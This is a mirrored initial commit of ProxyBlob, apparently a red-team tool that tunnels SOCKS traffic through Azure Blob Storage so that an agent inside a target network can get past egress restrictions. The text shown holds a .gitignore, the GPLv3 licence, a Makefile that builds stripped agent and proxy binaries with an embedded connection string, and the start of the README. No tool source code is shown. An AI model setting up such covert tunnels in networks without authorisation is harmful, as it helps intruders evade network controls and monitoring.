mirror of
https://github.com/quarkslab/proxyblob
synced 2026-06-08 16:52:59 +00:00
Initial commit
This commit is contained in:
+13
@@ -0,0 +1,13 @@
|
||||
agent
|
||||
agent.exe
|
||||
!agent/
|
||||
proxy
|
||||
proxy.exe
|
||||
!proxy/
|
||||
config.json
|
||||
*-config.json
|
||||
.DS_Store
|
||||
.cursor/
|
||||
*.txt
|
||||
__blobstorage__/
|
||||
__azurite*.json
|
||||
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
@@ -0,0 +1,18 @@
|
||||
.PHONY: all clean proxy agent
|
||||
|
||||
ifndef TOKEN
|
||||
CONN_STRING ?=
|
||||
else
|
||||
CONN_STRING = -X 'main.ConnString=$(TOKEN)'
|
||||
endif
|
||||
|
||||
all: clean proxy agent
|
||||
|
||||
proxy:
|
||||
go build -ldflags="-s -w" -trimpath -o proxy cmd/proxy/main.go
|
||||
|
||||
agent:
|
||||
go build -ldflags="-s -w $(CONN_STRING)" -trimpath -o agent cmd/agent/main.go
|
||||
|
||||
clean:
|
||||
rm -f proxy agent
|
||||
@@ -0,0 +1,383 @@
|
||||
# ProxyBlob
|
||||
|
||||
<p align="center">
|
||||
<img src="docs/logo.png" alt="ProxyBlob logo" width="300"/>
|
||||
</p>
|
||||
<p align="center"><i>SOCKS proxy over Azure Storage Blob service</i></p>
|
||||
|
||||
## Overview
|
||||
|
||||
ProxyBlob is a tool designed to create SOCKS proxy tunnels through Azure Blob Storage service. This is particularly useful in environments where direct network connectivity is restricted but `*.blob.core.windows.net` is accessible.
|
||||
|
||||
The system consists of two components:
|
||||
|
||||
1. **Proxy Server**: Runs on your local machine and provides a SOCKS interface for your applications
|
||||
2. **Agent**: Runs inside the target network and communicates with the proxy through Azure Blob Storage
|
||||
|
||||
## Features
|
||||
|
||||
- SOCKS5 protocol (CONNECT and UDP ASSOCIATE)
|
||||
- Communication through Azure Blob Storage
|
||||
- Interactive CLI with auto-completion
|
||||
- Multiple agent management
|
||||
- Local proxy server
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Go 1.23 or higher
